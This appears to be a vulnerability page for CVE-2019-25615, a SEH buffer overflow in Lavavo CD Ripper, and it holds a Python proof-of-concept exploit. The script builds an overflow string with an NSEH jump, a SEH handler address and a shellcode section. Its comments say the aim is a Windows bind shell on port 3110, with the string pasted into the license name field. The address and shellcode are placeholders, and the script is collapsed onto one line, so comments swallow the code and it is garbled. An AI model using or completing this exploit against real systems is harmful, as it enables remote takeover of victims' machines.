CVE-2019-25615 Lavavo CD Ripper SEH缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2019-25615 - Lavavo CD Ripper SEH Buffer Overflow # This script generates a malicious string to trigger the overflow and bind shell on port 3110. import socket import sys # Configuration HOST = '127.0.0.1' # Target IP (Local) PORT = 3110 # Target Port for Bind Shell (as per description) # Payload structure # Offset to SEH (Example value, needs adjustment based on debugging) offset = 4108 # NSEH (Next SEH) - Short jump to skip SEH handler and land in shellcode # \xeb\x06 is JMP SHORT +6, \x90\x90 is NOP padding nseh = b"\xeb\x06\x90\x90" # SEH Handler - Address of POP POP RET instruction # This address is module specific and needs to be found for the target version seh = b"\x21\x21\x21\x21" # Placeholder address # Shellcode - msfvenom bind shell on port 3110 (Example) # windows/shell_bind_tcp LPORT=3110 shellcode = b"\x90\x90\x90\x90" # NOP sled shellcode += b"\xcc\xcc\xcc\xcc" # Int3 placeholder for actual shellcode padding = b"A" * (offset - len(shellcode)) # Construct the full payload payload = padding + shellcode + nseh + seh + b"C" * 500 print(f"[*] Generating payload with length: {len(payload)}") print(f"[*] Payload: {payload}") # Note: Since this is a local application input field vulnerability, # the payload would typically be pasted into the 'License Activation Name' field. # If the application listens on a port, use socket send. try: # Example of sending if it were a network service (Conceptual) # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((HOST, 80)) # Assuming HTTP or specific app port # s.send(payload) # s.close() print("[+] Payload generated successfully. Paste into the vulnerable field.") except Exception as e: print(f"[-] Error: {e}")